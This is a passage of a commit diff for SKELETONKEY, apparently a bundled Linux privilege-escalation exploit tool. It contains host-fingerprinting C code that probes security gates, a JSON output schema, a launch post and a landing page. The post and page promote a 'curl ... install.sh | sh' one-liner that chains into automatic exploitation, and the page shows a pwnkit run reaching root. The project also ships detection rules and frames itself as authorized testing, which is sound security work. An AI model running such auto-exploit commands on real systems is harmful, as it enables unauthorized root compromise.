if (L >= cap) L = cap - 1;
memcpy(dst, buf, L);
dst[L] = '\0';
return true;
}
/* Extract the version-string token from a line of the form
* "<prefix>: <version> [rest]" or "<prefix> <version> [rest]". The
* version token is everything from the first non-space after
* `prefix` up to the next whitespace. Empty result when prefix not
* found. */
static void extract_version_after_prefix(const char *line,
const char *prefix,
char *dst, size_t cap)
{
dst[0] = '\0';
const char *p = strstr(line, prefix);
if (!p) return;
p += strlen(prefix);
while (*p == ' ' || *p == ':' || *p == '\t') p++;
size_t i = 0;
while (*p && *p != ' ' && *p != '\t' && i + 1 < cap)
dst[i++] = *p++;
dst[i] = '\0';
}
static void populate_userspace_versions(struct skeletonkey_host *h)
{
h->sudo_version[0] = '\0';
h->polkit_version[0] = '\0';
char line[256];
if (capture_first_line("sudo -V 2>/dev/null", line, sizeof line))
extract_version_after_prefix(line, "Sudo version",
h->sudo_version, sizeof h->sudo_version);
if (capture_first_line("pkexec --version 2>/dev/null", line, sizeof line))
extract_version_after_prefix(line, "pkexec version",
h->polkit_version, sizeof h->polkit_version);
}
/* ── public entrypoints ───────────────────────────────────────────── */
const struct skeletonkey_host *skeletonkey_host_get(void)
{
if (g_host_ready) return &g_host;
memset(&g_host, 0, sizeof g_host);
populate_kernel(&g_host);
populate_distro(&g_host);
populate_user(&g_host);
populate_platform_family(&g_host);
populate_caps(&g_host);
populate_services(&g_host);
populate_userspace_versions(&g_host);
g_host.probe_source = "skeletonkey core/host.c";
g_host_ready = true;
return &g_host;
}
bool skeletonkey_host_kernel_at_least(const struct skeletonkey_host *h,
int major, int minor, int patch)
{
if (!h || h->kernel.major == 0)
return false;
if (h->kernel.major != major) return h->kernel.major > major;
if (h->kernel.minor != minor) return h->kernel.minor > minor;
return h->kernel.patch >= patch;
}
bool skeletonkey_host_kernel_in_range(const struct skeletonkey_host *h,
int lo_M, int lo_m, int lo_p,
int hi_M, int hi_m, int hi_p)
{
return skeletonkey_host_kernel_at_least(h, lo_M, lo_m, lo_p) &&
!skeletonkey_host_kernel_at_least(h, hi_M, hi_m, hi_p);
}
void skeletonkey_host_print_banner(const struct skeletonkey_host *h, bool json)
{
if (json || h == NULL) return;
fprintf(stderr, "[*] host: %s%s%s kernel=%s arch=%s distro=%s/%s\n",
h->nodename[0] ? h->nodename : "?",
h->is_root ? " (ROOT)" : "",
h->is_ssh_session ? " (SSH)" : "",
h->kernel.release ? h->kernel.release : "?",
h->arch[0] ? h->arch : "?",
h->distro_id[0] ? h->distro_id : "?",
h->distro_version_id[0] ? h->distro_version_id : "?");
fprintf(stderr, "[*] gates: userns=%s aa_restrict=%s bpf_disabled=%s "
"kpti=%s lockdown=%s selinux=%s yama_ptrace=%s\n",
h->unprivileged_userns_allowed ? "yes" : "no",
h->apparmor_restrict_userns ? "on" : "off",
h->unprivileged_bpf_disabled ? "yes" : "no",
h->kpti_enabled ? "on" : "off",
h->kernel_lockdown_active ? "on" : "off",
h->selinux_enforcing ? "on" : "off",
h->yama_ptrace_restricted ? "yes" : "no");
if (h->sudo_version[0] || h->polkit_version[0])
fprintf(stderr, "[*] userspace: sudo=%s polkit=%s\n",
h->sudo_version[0] ? h->sudo_version : "-",
h->polkit_version[0] ? h->polkit_version : "-");
}
+137
View File
@@ -0,0 +1,137 @@
/*
* SKELETONKEY — host fingerprint
*
* Populated once at startup, before any module's detect() runs. Every
* module receives a stable pointer via skeletonkey_ctx.host and can
* consult it without re-parsing /proc, /etc/os-release, uname(2), or
* forking another userns probe.
*
* The struct is deliberately POD (no heap pointers, fixed-size
* arrays) so lifetime reasoning is trivial. A single static instance
* lives in core/host.c; skeletonkey_host_get() returns the same
* pointer on every call. The first call probes; subsequent calls
* are O(1) lookups.
*
* Fields that don't apply on a given platform (e.g. AppArmor sysctls
* on a non-Linux dev build, KPTI on aarch64) stay at their false /
* "?" defaults. Probing is best-effort: a missing sysctl never fails
* the call, just leaves the corresponding bool false.
*/
#ifndef SKELETONKEY_HOST_H
#define SKELETONKEY_HOST_H
#include "kernel_range.h"
#include <stdbool.h>
#include <stddef.h>
#include <sys/types.h>
struct skeletonkey_host {
/* ── identity ─────────────────────────────────────────────── */
struct kernel_version kernel; /* uname.release parsed */
char arch[32]; /* uname.machine ("x86_64", "aarch64") */
char nodename[64]; /* uname.nodename (for log lines) */
char distro_id[64]; /* /etc/os-release ID ("ubuntu", "debian", "fedora", "?") */
char distro_version_id[64]; /* /etc/os-release VERSION_ID ("24.04", "13", "?") */
char distro_pretty[128]; /* /etc/os-release PRETTY_NAME for log lines */
/* ── process state ─────────────────────────────────────────── */
uid_t euid; /* geteuid() */
uid_t real_uid; /* outer uid (defeats userns illusion via /proc/self/uid_map) */
gid_t egid; /* getegid() */
char username[64]; /* getpwuid(euid)->pw_name or "" */
bool is_root; /* euid == 0 */
bool is_ssh_session; /* SSH_CONNECTION env var set */
/* ── platform family ───────────────────────────────────────── */
bool is_linux; /* compiled / running on Linux */
bool is_debian_family; /* /etc/debian_version exists */
bool is_rpm_family; /* redhat / fedora / rocky / almalinux release file */
bool is_arch_family; /* /etc/arch-release */
bool is_suse_family; /* /etc/SuSE-release or /etc/SUSE-brand */
/* ── capability / gate flags (Linux) ──────────────────────── */
bool unprivileged_userns_allowed; /* fork+unshare(CLONE_NEWUSER) succeeded */
bool apparmor_restrict_userns; /* sysctl: 1 = AA blocks unpriv userns */
bool unprivileged_bpf_disabled; /* /proc/sys/kernel/unprivileged_bpf_disabled = 1 */
bool kpti_enabled; /* /sys/.../meltdown contains "Mitigation: PTI" */
bool kernel_lockdown_active; /* /sys/kernel/security/lockdown != [none] */
bool selinux_enforcing; /* /sys/fs/selinux/enforce = 1 */
bool yama_ptrace_restricted; /* /proc/sys/kernel/yama/ptrace_scope > 0 */
/* ── system services ──────────────────────────────────────── */
bool has_systemd; /* /run/systemd/system exists */
bool has_dbus_system; /* /run/dbus/system_bus_socket exists */
/* ── userspace component versions ─────────────────────────
* Parsed once at startup via popen() of the relevant binary's
* --version output. Empty string ("") means "tool not installed
* or version parse failed" — modules should treat that as
* PRECOND_FAIL (no exploit target). The exact format mirrors
* what the tool prints (`Sudo version 1.9.5p2`, `pkexec version
* 0.105`, …); modules do their own range parsing. */
char sudo_version[64]; /* "1.9.13p1" or "" */
char polkit_version[64]; /* "0.105" or "126" or "" */
/* Informational: the SKELETONKEY component that populated this
* snapshot (for log/JSON output). */
const char *probe_source;
};
/* Get the host fingerprint. Returns a stable, non-null pointer that
* lives for the process lifetime. Probes happen lazily on the first
* call (~50ms; dominated by the userns fork-probe), are cached, and
* subsequent calls are free.
*
* Probing is best-effort: missing files / unsupported sysctls leave
* the corresponding bool false. The function does not fail. */
const struct skeletonkey_host *skeletonkey_host_get(void);
/* Print a two-line "host fingerprint" banner to stderr suitable for
* --auto / --scan verbose output. Silent on JSON mode. */
void skeletonkey_host_print_banner(const struct skeletonkey_host *h, bool json);
/* True iff h->kernel >= the (major, minor, patch) provided. Returns
* false if h is NULL or its kernel version was never populated (major
* == 0). Replaces the manual `v->major < X` / `(v->major == X &&
* v->minor < Y)` patterns scattered across detect()s — cleaner reads
* and one place to get the comparison right.
*
* Examples:
* if (!host_kernel_at_least(h, 7, 0, 0)) // kernel predates 7.0
* return SKELETONKEY_OK;
* if ( host_kernel_at_least(h, 6, 8, 0)) // kernel post-fix
* return SKELETONKEY_OK;
*/
bool skeletonkey_host_kernel_at_least(const struct skeletonkey_host *h,
int major, int minor, int patch);
/* True iff h->kernel is in [lo, hi). Useful for "vulnerable range"
* gates where the simple `kernel_range_is_patched` backport model
* doesn't apply — e.g. a feature added in X.Y and removed/superseded
* in W.Z, or a per-module "vulnerable only on these specific kernel
* lines" check.
*
* Equivalent to:
* host_kernel_at_least(h, lo...) && !host_kernel_at_least(h, hi...)
*
* For "predates the bug" alone use host_kernel_at_least directly; the
* `in_range` form is for the bounded interval case.
*
* Example:
* if (host_kernel_in_range(h, 5, 8, 0, 5, 17, 0))
* // kernel 5.8 ≤ K < 5.17 — vulnerable window per the mainline
* // introduction/fix dates (ignoring stable backports)
*/
bool skeletonkey_host_kernel_in_range(const struct skeletonkey_host *h,
int lo_major, int lo_minor, int lo_patch,
int hi_major, int hi_minor, int hi_patch);
#endif /* SKELETONKEY_HOST_H */
+13 -3
View File
@@ -40,9 +40,12 @@ typedef enum {
SKELETONKEY_EXPLOIT_OK = 5,
} skeletonkey_result_t;
/* Per-invocation context passed to module callbacks. Lightweight for
* now; will grow as modules need shared state (host fingerprint,
* leaked kbase, etc.). */
/* Per-invocation context passed to module callbacks. The host
* fingerprint (kernel / distro / capability gates / service presence)
* is populated once at startup by core/host.c and handed to every
* module callback here — see core/host.h. */
struct skeletonkey_host; /* forward decl; full def in core/host.h */
struct skeletonkey_ctx {
bool no_color; /* --no-color */
bool json; /* --json (machine-readable output) */
@@ -50,6 +53,13 @@ struct skeletonkey_ctx {
bool no_shell; /* --no-shell (exploit prep but don't pop) */
bool authorized; /* user typed --i-know on exploit */
bool full_chain; /* --full-chain (attempt root-pop after primitive) */
bool dry_run; /* --dry-run (preview only; never call exploit/mitigate/cleanup) */
/* Host fingerprint — see core/host.h. Stable pointer, populated
* once by main() before any module callback runs. Modules that
* want to consult it #include "../../core/host.h". May be NULL
* only in degenerate test contexts; main() always sets it. */
const struct skeletonkey_host *host;
};
struct skeletonkey_module {
+7
View File
@@ -40,5 +40,12 @@ void skeletonkey_register_nft_set_uaf(void);
void skeletonkey_register_af_unix_gc(void);
void skeletonkey_register_nft_fwd_dup(void);
void skeletonkey_register_nft_payload(void);
void skeletonkey_register_sudo_samedit(void);
void skeletonkey_register_sequoia(void);
void skeletonkey_register_sudoedit_editor(void);
void skeletonkey_register_vmwgfx(void);
void skeletonkey_register_dirtydecrypt(void);
void skeletonkey_register_fragnesia(void);
void skeletonkey_register_pack2theroot(void);
#endif /* SKELETONKEY_REGISTRY_H */
View File
+43 -1
View File
@@ -82,7 +82,11 @@ Code that more than one module needs lives in `core/`:
1. Parse args (`--scan`, `--exploit <name>`, `--mitigate`,
`--detect-rules`, `--cleanup`, etc.)
2. Fingerprint the host
2. **Fingerprint the host**`core/host.c` is called once at startup
to populate `struct skeletonkey_host` (kernel version + arch +
distro + capability gates + service presence). The result is
handed to every module via `ctx->host`. See "Host fingerprint"
below.
3. For `--scan`: iterate module registry, call each module's
`detect()`, emit table of results
4. For `--exploit <name>`: locate module, gate behind `--i-know`,
@@ -90,6 +94,44 @@ Code that more than one module needs lives in `core/`:
5. For `--detect-rules`: walk module registry, concatenate detection
files in the requested format
## Host fingerprint (`core/host.{h,c}`)
A single `struct skeletonkey_host` is populated once at startup and
exposed to every module via `ctx->host` (a stable pointer for the
process lifetime). It carries:
- **Identity:** `struct kernel_version kernel` + arch + nodename +
distro id/version/pretty (parsed from `/etc/os-release`).
- **Process state:** euid, real_uid (defeats the userns illusion by
reading `/proc/self/uid_map`), egid, username, is_root,
is_ssh_session.
- **Platform family:** is_linux, is_debian_family, is_rpm_family,
is_arch_family, is_suse_family.
- **Capability gates (Linux):** unprivileged_userns_allowed (live
fork-probe), apparmor_restrict_userns, unprivileged_bpf_disabled,
kpti_enabled, kernel_lockdown_active, selinux_enforcing,
yama_ptrace_restricted.
- **System services:** has_systemd, has_dbus_system.
Modules that want to consult the fingerprint do:
```c
#include "../../core/host.h"
/* ... */
if (ctx->host && !ctx->host->unprivileged_userns_allowed)
return SKELETONKEY_PRECOND_FAIL;
if (ctx->host->kernel.major < 7)
return SKELETONKEY_OK; /* predates the bug */
```
The migration is opt-in per module — modules that don't `#include`
host.h continue to do their own probes; modules that do save the
duplicate work and get a consistent view across the whole scan.
`--auto` and `--scan` (in verbose mode) print a two-line banner of
the fingerprint via `skeletonkey_host_print_banner()` so operators
can see at a glance which gates are open.
## CI matrix
`.github/workflows/ci.yml` (planned, Phase 4) runs each module's
+139
View File
@@ -0,0 +1,139 @@
# SKELETONKEY JSON output schema
`skeletonkey --scan --json` (and `--auto --json`, planned) emit a
single JSON object on **stdout**. All human-readable banner lines and
per-module log chatter go to **stderr** in JSON mode — pipes to SIEMs
and fleet aggregators get a clean machine-parseable document on
stdout while operators still see diagnostics on stderr.
This document is the contract for that JSON. SKELETONKEY treats it
as a stability commitment: new fields may appear in future releases,
but existing field names and value types do not change without a
major-version bump.
## Top-level object
```json
{
"version": "0.6.0",
"modules": [ /* ... per-module entries ... */ ]
}
```
| Field | Type | Stability | Meaning |
|------------|----------|------------|---------|
| `version` | string | stable | The SKELETONKEY release that produced this document. Semver-ish (`MAJOR.MINOR.PATCH`). Consumers may use it to correlate with the corpus inventory in [`CVES.md`](../CVES.md). |
| `modules` | array | stable | One entry per registered module, emitted in the order the dispatcher's `--list` reports them. Length grows monotonically as new modules land. |
## Per-module entry
```json
{
"name": "dirty_pipe",
"cve": "CVE-2022-0847",
"result": "OK"
}
```
| Field | Type | Stability | Meaning |
|----------|--------|-----------|---------|
| `name` | string | stable | The module's CLI identifier — what you pass to `--exploit <name>`. Lowercase, ASCII, `_`-delimited. Never changes for a given module across releases. |
| `cve` | string | stable | The CVE identifier (`CVE-YYYY-NNNNN`), or `"VARIANT"` for sibling variants without their own CVE (e.g. `copy_fail_gcm`), or `"-"` for primitives like `entrybleed` that have a CVE-less role. |
| `result` | string | stable | One of the `result` enum values below. |
## `result` enum
| Value | Exit code | Meaning |
|----------------|-----------|---------|
| `OK` | 0 | Module's `detect()` ran successfully. Host is **patched** for this CVE, or the bug class is not applicable here (predates the introduction, wrong arch, etc.). Safe to ignore for this host. |
| `TEST_ERROR` | 1 | `detect()` could not decide — the host fingerprint is missing data, the version parser failed, or an internal probe errored. Treat as "no information; check manually." |
| `VULNERABLE` | 2 | Host is **vulnerable** to this CVE per the module's detect logic (version-based and/or empirical active probe). `--exploit <name> --i-know` will attempt to land root. |
| `EXPLOIT_FAIL` | 3 | Only ever returned by `--exploit`, never by `--scan`. Exploit was attempted but did not land root. Diagnostic context goes to stderr. |
| `PRECOND_FAIL` | 4 | A documented precondition is not met on this host — examples: unprivileged user namespaces disabled, AppArmor restriction on, sudo not installed, AF_RXRPC unavailable. The bug may exist on the kernel but the carrier path here is closed. |
| `EXPLOIT_OK` | 5 | Only ever returned by `--exploit` / `--auto`. Root was achieved; for `--auto` mode this is the process exit code that drove the dispatcher into a root shell. |
## Process exit code semantics for `--scan`
The process exit code is the **worst (highest) result code** observed
across all modules. This lets a SIEM treat the binary's exit code as
a single-host alert level without re-parsing JSON:
| Exit code | Interpretation |
|-----------|-----------------------------------------------------|
| 0 | All modules `OK`. Host is patched for the corpus. |
| 1 | At least one module returned `TEST_ERROR`. Investigate. |
| 2 | At least one module returned `VULNERABLE`. Patch the host. |
| 4 | At least one module returned `PRECOND_FAIL` (and none worse). Host has reduced attack surface but is not necessarily safe. |
(Process exit codes 3 and 5 are exclusive to the `--exploit` /
`--auto` modes and never appear in `--scan` output.)
## Example: invoking + parsing
```bash
# capture pure JSON
skeletonkey --scan --json --no-color > host-$(hostname).json 2> /dev/null
# any vulnerable modules?
jq -e '.modules[] | select(.result == "VULNERABLE") | .name' host-*.json
# fleet roll-up — modules vulnerable across the fleet, by frequency
jq -s 'map(.modules[] | select(.result == "VULNERABLE") | .name)
| flatten | group_by(.) | map({mod: .[0], count: length})
| sort_by(-.count)' host-*.json
```
`jq -e` exits non-zero when its selector matches nothing, giving the
fleet runner a per-host "any-vulnerable" boolean without parsing the
document.
## Stability promises
**Stable across non-major releases:**
- Field names listed in the tables above (`version`, `modules`, `name`,
`cve`, `result`).
- The `result` enum string set. New result strings cannot appear
without a major version bump.
- The `modules` array containing exactly one entry per registered
module.
- Exit-code semantics for `--scan`.
**May change without notice:**
- The `modules` array length, ordering, and contents (new modules are
added regularly; ordering follows registration order which is
stable per release but not a contract).
- Whitespace / formatting of the JSON itself (consumers MUST parse,
not regex).
- Field values for `cve` (a stub variant could gain a real CVE later).
**May be added in future minor versions:**
- New per-module fields (e.g. `family`, `summary`, `safety_rank`,
`kernel_range`). Consumers MUST ignore unknown fields.
- New top-level fields (e.g. `host_fingerprint`, `scan_started_at`,
`schema_version`). Consumers MUST ignore unknown fields.
- A `--scan --active --json` output may grow per-probe verdict
metadata under a new `probe` sub-object.
## Recommended consumer pattern
```python
import json, subprocess, sys
doc = json.loads(subprocess.check_output(
["skeletonkey", "--scan", "--json", "--no-color"],
stderr=subprocess.DEVNULL,
))
assert doc["version"], "missing top-level version"
for mod in doc["modules"]:
assert mod["name"] and mod["cve"] and mod["result"], \
f"malformed module entry: {mod!r}"
if mod["result"] == "VULNERABLE":
print(f"{mod['name']} ({mod['cve']}): VULNERABLE", file=sys.stderr)
```
Ignore unknown fields. Match `result` against the enum, but treat
unknown strings as `TEST_ERROR`-equivalent (forward-compat).
+102
View File
@@ -0,0 +1,102 @@
# SKELETONKEY — launch post
> Copy-pasteable for HN, lobste.rs, mastodon, blog. ~600 words.
---
## SKELETONKEY: a curated Linux LPE corpus with detection rules baked in
The Linux privilege-escalation space is fragmented. Single-CVE PoC
repos go stale within months. `linux-exploit-suggester` tells you
what *might* work but doesn't run anything. `auto-root-exploit` and
`kernelpop` bundle exploits but ship no detection signatures and
haven't been maintained in years.
**SKELETONKEY** is one curated binary that:
1. Fingerprints the host's kernel / distro / sudo / userland.
2. Reports which of 28 bundled CVEs that host is still vulnerable
to — covering 2016 through 2026.
3. With explicit `--i-know` authorization, runs the safest one and
gets you root.
4. Ships matching **auditd + sigma rules** for every CVE so blue
teams get the same coverage when they deploy it.
### One command
```bash
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
&& skeletonkey --auto --i-know
```
`--auto` ranks vulnerable modules by **exploit safety**
structural escapes (no kernel state touched) first, then page-cache
writes, then userspace cred-races, then kernel primitives, then
kernel races last — and runs the safest match. If it fails it falls
back gracefully and tells you the next candidates to try manually.
### What's in the corpus
- **Userspace LPE**: pwnkit (CVE-2021-4034), sudo Baron Samedit
(CVE-2021-3156), sudoedit EDITOR escape (CVE-2023-22809)
- **Page-cache writes**: dirty_pipe (CVE-2022-0847), dirty_cow
(CVE-2016-5195), copy_fail family (CVE-2026-31431, 43284, 43500)
- **Container/namespace**: cgroup_release_agent (CVE-2022-0492),
overlayfs (CVE-2021-3493), overlayfs_setuid (CVE-2023-0386),
fuse_legacy (CVE-2022-0185)
- **Kernel primitives**: netfilter (4 CVEs from 2022→2024),
af_packet (CVE-2017-7308, CVE-2020-14386), cls_route4
(CVE-2022-2588), netfilter_xtcompat (CVE-2021-22555)
- **Kernel races**: stackrot (CVE-2023-3269), af_unix_gc
(CVE-2023-4622), Sequoia (CVE-2021-33909)
- **Side channels**: EntryBleed kbase leak (CVE-2023-0458)
- **Graphics**: vmwgfx DRM OOB (CVE-2023-2008)
- **Userspace classic**: PTRACE_TRACEME (CVE-2019-13272)
Full inventory at
[CVES.md](https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md).
### The verified-vs-claimed bar
Most public PoC repos hardcode offsets for one kernel build and
silently break elsewhere. SKELETONKEY refuses to ship fabricated
offsets. Modules with a kernel primitive but no per-kernel
cred-overwrite chain default to firing the primitive + grooming the
slab + recording an empirical witness, then return
`EXPLOIT_FAIL` honestly. The opt-in `--full-chain` engages the
shared `modprobe_path` finisher with sentinel-arbitrated success
(it only claims root when a setuid bash actually materializes).
When `--full-chain` needs kernel offsets, you populate them once on
a target kernel via `skeletonkey --dump-offsets` (parses
`/proc/kallsyms` or `/boot/System.map`) and either set env vars or
upstream the entry to `core/offsets.c kernel_table[]` via PR.
### For each side of the house
- **Red team**: stop curating broken PoCs. One tested binary, fresh
releases, honest scope reporting.
- **Sysadmins**: one command, no SaaS, JSON output for CI gates.
Fleet-scan tool included.
- **Blue team**: `skeletonkey --detect-rules --format=auditd | sudo
tee /etc/audit/rules.d/99-skeletonkey.rules` and you have coverage
for every CVE in the bundle. Sigma + YARA + Falco output also
supported.
### Status + roadmap
v0.5.0 today: 28 modules, all build clean on Debian 13 / kernel
6.12, all refuse-on-patched verified. The embedded offset table is
empty — operator-populated. Next: empirical validation on a
multi-distro vuln-kernel VM matrix, then offset-table community
seeding for common cloud builds.
MIT. Each module credits the original CVE reporter and PoC author
in its `NOTICE.md`. The research credit belongs to the people who
found the bugs; SKELETONKEY is the bundling layer.
**Repo:** https://github.com/KaraZajac/SKELETONKEY
**Release:** https://github.com/KaraZajac/SKELETONKEY/releases/latest
Authorized testing only. Read [docs/ETHICS.md](ETHICS.md) before you
point this at anything you don't own.
+289
View File
@@ -0,0 +1,289 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SKELETONKEY — Curated Linux LPE corpus with detection rules</title>
<meta name="description" content="One curated binary. 28 Linux privilege-escalation exploits from 2016 → 2026. Auditd + sigma + yara + falco rules in the box. One command picks the safest LPE and runs it.">
<meta property="og:title" content="SKELETONKEY — Curated Linux LPE corpus">
<meta property="og:description" content="28 Linux LPE exploits, 2016 → 2026, with detection rules in the box. One command picks the safest one and runs it.">
<meta property="og:type" content="website">
<meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
<meta name="twitter:card" content="summary">
<link rel="stylesheet" href="style.css">
</head>
<body>
<nav class="nav">
<span class="nav-brand">SKELETONKEY</span>
<a class="nav-github" href="https://github.com/KaraZajac/SKELETONKEY"
aria-label="View on GitHub">
<svg height="20" viewBox="0 0 16 16" width="20" fill="currentColor" aria-hidden="true">
<path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38
0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13
-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66
.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15
-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0
1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82
1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01
1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/>
</svg>
<span>GitHub</span>
</a>
</nav>
<header class="hero">
<div class="container">
<h1>SKELETONKEY</h1>
<p class="tag">
One curated binary. <strong>28 Linux LPE exploits</strong> from
2016 → 2026. Detection rules in the box.
<strong>One command picks the safest one and runs it.</strong>
</p>
<div class="install-block">
<button class="copy" onclick="copyInstall(this)">copy</button>
<pre id="install-cmd"><span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
&amp;&amp; skeletonkey --auto --i-know</pre>
</div>
<p class="warn">⚠ Authorized testing only — see <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a></p>
<div class="cta-row">
<a class="btn btn-primary" href="https://github.com/KaraZajac/SKELETONKEY/releases/latest">Latest release</a>
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY">View on GitHub</a>
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">Full CVE inventory</a>
</div>
</div>
</header>
<section>
<div class="container">
<h2>Why this exists</h2>
<p class="lead">
Most Linux privesc tooling is broken in one of three ways:
</p>
<ul class="tight">
<li><strong>linux-exploit-suggester / linpeas</strong> — tell you what <em>might</em> work, run nothing</li>
<li><strong>auto-root-exploit / kernelpop</strong> — bundle exploits but ship no detection signatures and went stale years ago</li>
<li><strong>Per-CVE PoC repos</strong> — one author, one distro, abandoned within months</li>
</ul>
<p class="lead" style="margin-top:1rem">
SKELETONKEY is one binary, actively maintained, with detection
rules for every CVE it bundles — same project for red and blue
teams.
</p>
</div>
</section>
<section>
<div class="container">
<h2>Corpus at a glance</h2>
<div class="stats">
<div class="stat">
<span class="stat-num">28</span>
<span class="stat-label">verified modules</span>
</div>
<div class="stat">
<span class="stat-num green">14</span>
<span class="stat-label">🟢 land root by default</span>
</div>
<div class="stat">
<span class="stat-num yellow">14</span>
<span class="stat-label">🟡 primitive + opt-in chain</span>
</div>
<div class="stat">
<span class="stat-num">10y</span>
<span class="stat-label">2016 → 2026 coverage</span>
</div>
</div>
<h3 style="color: var(--green);">🟢 Lands root on a vulnerable host</h3>
<p style="color: var(--text-muted); font-size:0.92rem; margin:0.25rem 0 0.25rem;">Structural exploits + page-cache writes. No per-kernel offsets needed.</p>
<div class="pills">
<span class="pill green">copy_fail</span>
<span class="pill green">copy_fail_gcm</span>
<span class="pill green">dirty_frag_esp</span>
<span class="pill green">dirty_frag_esp6</span>
<span class="pill green">dirty_frag_rxrpc</span>
<span class="pill green">dirty_pipe</span>
<span class="pill green">dirty_cow</span>
<span class="pill green">pwnkit</span>
<span class="pill green">overlayfs</span>
<span class="pill green">overlayfs_setuid</span>
<span class="pill green">cgroup_release_agent</span>
<span class="pill green">ptrace_traceme</span>
<span class="pill green">sudoedit_editor</span>
<span class="pill green">entrybleed</span>
</div>
<h3 style="color: var(--yellow);">🟡 Fires kernel primitive · opt-in <code>--full-chain</code></h3>
<p style="color: var(--text-muted); font-size:0.92rem; margin:0.25rem 0 0.25rem;">Default returns <code>EXPLOIT_FAIL</code> honestly. With <code>--full-chain</code> + resolved offsets, runs the shared modprobe_path finisher.</p>
<div class="pills">
<span class="pill yellow">nf_tables</span>
<span class="pill yellow">nft_set_uaf</span>
<span class="pill yellow">nft_fwd_dup</span>
<span class="pill yellow">nft_payload</span>
<span class="pill yellow">netfilter_xtcompat</span>
<span class="pill yellow">af_packet</span>
<span class="pill yellow">af_packet2</span>
<span class="pill yellow">af_unix_gc</span>
<span class="pill yellow">cls_route4</span>
<span class="pill yellow">fuse_legacy</span>
<span class="pill yellow">stackrot</span>
<span class="pill yellow">sudo_samedit</span>
<span class="pill yellow">sequoia</span>
<span class="pill yellow">vmwgfx</span>
</div>
</div>
</section>
<section>
<div class="container">
<h2>Who it's for</h2>
<div class="cards">
<div class="card">
<h3>🔴 Red team / pentesters</h3>
<p>One tested binary. <code>--auto</code> ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. No more curating stale PoC repos.</p>
</div>
<div class="card">
<h3>🔵 Blue team / SOC</h3>
<p>Auditd + sigma + yara + falco rules for every CVE. One command ships SIEM coverage: <code>--detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules</code>.</p>
</div>
<div class="card">
<h3>🛠 Sysadmins</h3>
<p><code>skeletonkey --scan</code> (no sudo needed) tells you which boxes still need patching. JSON output for CI gates. Fleet-scan tool included. No SaaS, no telemetry.</p>
</div>
<div class="card">
<h3>🎓 CTF / training</h3>
<p>Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. Detection rules let you practice both sides.</p>
</div>
</div>
</div>
</section>
<section>
<div class="container">
<h2>What it looks like</h2>
<p class="lead"><code>--auto</code> on a vulnerable Ubuntu 22.04 box:</p>
<pre class="code"><span class="prompt">$</span> id
uid=1000(kara) gid=1000(kara) groups=1000(kara)
<span class="prompt">$</span> skeletonkey --auto --i-know
<span class="hl-muted">[*]</span> auto: host=demo kernel=5.15.0-56-generic arch=x86_64
<span class="hl-muted">[*]</span> auto: scanning 31 modules for vulnerabilities...
<span class="hl-green">[+]</span> auto: dirty_pipe <span class="hl-yellow">VULNERABLE</span> (safety rank 90)
<span class="hl-green">[+]</span> auto: cgroup_release_agent <span class="hl-yellow">VULNERABLE</span> (safety rank 98)
<span class="hl-green">[+]</span> auto: pwnkit <span class="hl-yellow">VULNERABLE</span> (safety rank 100)
<span class="hl-muted">[*]</span> auto: 3 vulnerable modules found. Safest is <span class="hl-accent">'pwnkit'</span> (rank 100).
<span class="hl-muted">[*]</span> auto: launching --exploit pwnkit...
<span class="hl-green">[+]</span> pwnkit: writing gconv-modules cache + payload.so...
<span class="hl-green">[+]</span> pwnkit: execve(pkexec) with NULL argv + crafted envp...
<span class="hl-green">#</span> id
uid=0(root) gid=0(root) groups=0(root)</pre>
<p style="color: var(--text-muted); font-size: 0.92rem; margin-top: 1rem">
Safety ranking goes <strong>structural escapes</strong>
<strong>page-cache writes</strong>
<strong>userspace cred-races</strong>
<strong>kernel primitives</strong>
<strong>kernel races</strong>. The goal is to never crash a
production box looking for root.
</p>
</div>
</section>
<section>
<div class="container">
<h2>The verified-vs-claimed bar</h2>
<p class="lead">
Most public PoC repos hardcode offsets for one kernel build and
silently break elsewhere. SKELETONKEY refuses to ship fabricated
offsets.
</p>
<ul class="tight">
<li>The shared <code>--full-chain</code> finisher returns <code>EXPLOIT_OK</code> only when a setuid bash sentinel file <em>actually appears</em></li>
<li>Modules with a primitive but no portable cred-overwrite chain default to firing the primitive + grooming the slab + recording a witness, then return <code>EXPLOIT_FAIL</code> with diagnostic</li>
<li>Operators populate the offset table once per kernel via <code>skeletonkey --dump-offsets</code> (parses <code>/proc/kallsyms</code> or <code>/boot/System.map</code>) and upstream the entry via PR — see <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">CONTRIBUTING.md</a></li>
</ul>
</div>
</section>
<section>
<div class="container">
<h2>Quickstart commands</h2>
<pre class="code"><span class="cmt"># Install (x86_64 / arm64; checksum-verified)</span>
<span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
<span class="cmt"># What's this box vulnerable to? (no sudo)</span>
<span class="prompt">$</span> skeletonkey --scan
